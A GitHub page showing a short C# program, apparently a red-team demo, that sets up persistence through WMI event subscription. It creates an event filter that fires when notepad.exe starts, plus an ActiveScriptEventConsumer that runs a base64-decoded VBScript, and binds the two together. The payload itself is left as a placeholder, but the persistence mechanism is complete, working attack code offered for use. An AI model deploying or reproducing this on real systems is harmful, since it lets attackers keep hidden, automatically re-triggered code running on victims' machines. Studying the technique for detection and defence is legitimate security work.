Permalink
Cannot retrieve contributors at this time
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
70 lines (60 sloc)
2.62 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// WMI Event Subscription Peristence Demo | |
// Author: @domchell | |
using System; | |
using System.Text; | |
using System.Management; | |
namespace WMIPersistence | |
{ | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
PersistWMI(); | |
} | |
static void PersistWMI() | |
{ | |
ManagementObject myEventFilter = null; | |
ManagementObject myEventConsumer = null; | |
ManagementObject myBinder = null; | |
string vbscript64 = "<INSIDE base64 encoded VBS here>"; | |
string vbscript = Encoding.UTF8.GetString(Convert.FromBase64String(vbscript64)); | |
try | |
{ | |
ManagementScope scope = new ManagementScope(@"\\.\root\subscription"); | |
ManagementClass wmiEventFilter = new ManagementClass(scope, new | |
ManagementPath("__EventFilter"), null); | |
String strQuery = @"SELECT * FROM __InstanceCreationEvent WITHIN 5 " + | |
"WHERE TargetInstance ISA \"Win32_Process\" " + | |
"AND TargetInstance.Name = \"notepad.exe\""; | |
WqlEventQuery myEventQuery = new WqlEventQuery(strQuery); | |
myEventFilter = wmiEventFilter.CreateInstance(); | |
myEventFilter["Name"] = "demoEventFilter"; | |
myEventFilter["Query"] = myEventQuery.QueryString; | |
myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage; | |
myEventFilter["EventNameSpace"] = @"\root\cimv2"; | |
myEventFilter.Put(); | |
Console.WriteLine("[*] Event filter created."); | |
myEventConsumer = | |
new ManagementClass(scope, new ManagementPath("ActiveScriptEventConsumer"), | |
null).CreateInstance(); | |
myEventConsumer["Name"] = "BadActiveScriptEventConsumer"; | |
myEventConsumer["ScriptingEngine"] = "VBScript"; | |
myEventConsumer["ScriptText"] = vbscript; | |
myEventConsumer.Put(); | |
Console.WriteLine("[*] Event consumer created."); | |
myBinder = | |
new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), | |
null).CreateInstance(); | |
myBinder["Filter"] = myEventFilter.Path.RelativePath; | |
myBinder["Consumer"] = myEventConsumer.Path.RelativePath; | |
myBinder.Put(); | |
Console.WriteLine("[*] Subscription created"); | |
} | |
catch (Exception e) | |
{ | |
Console.WriteLine(e); | |
} // END CATCH | |
Console.ReadKey(); | |
} // END FUNC | |
} // END CLASS | |
} // END NAMESPACE |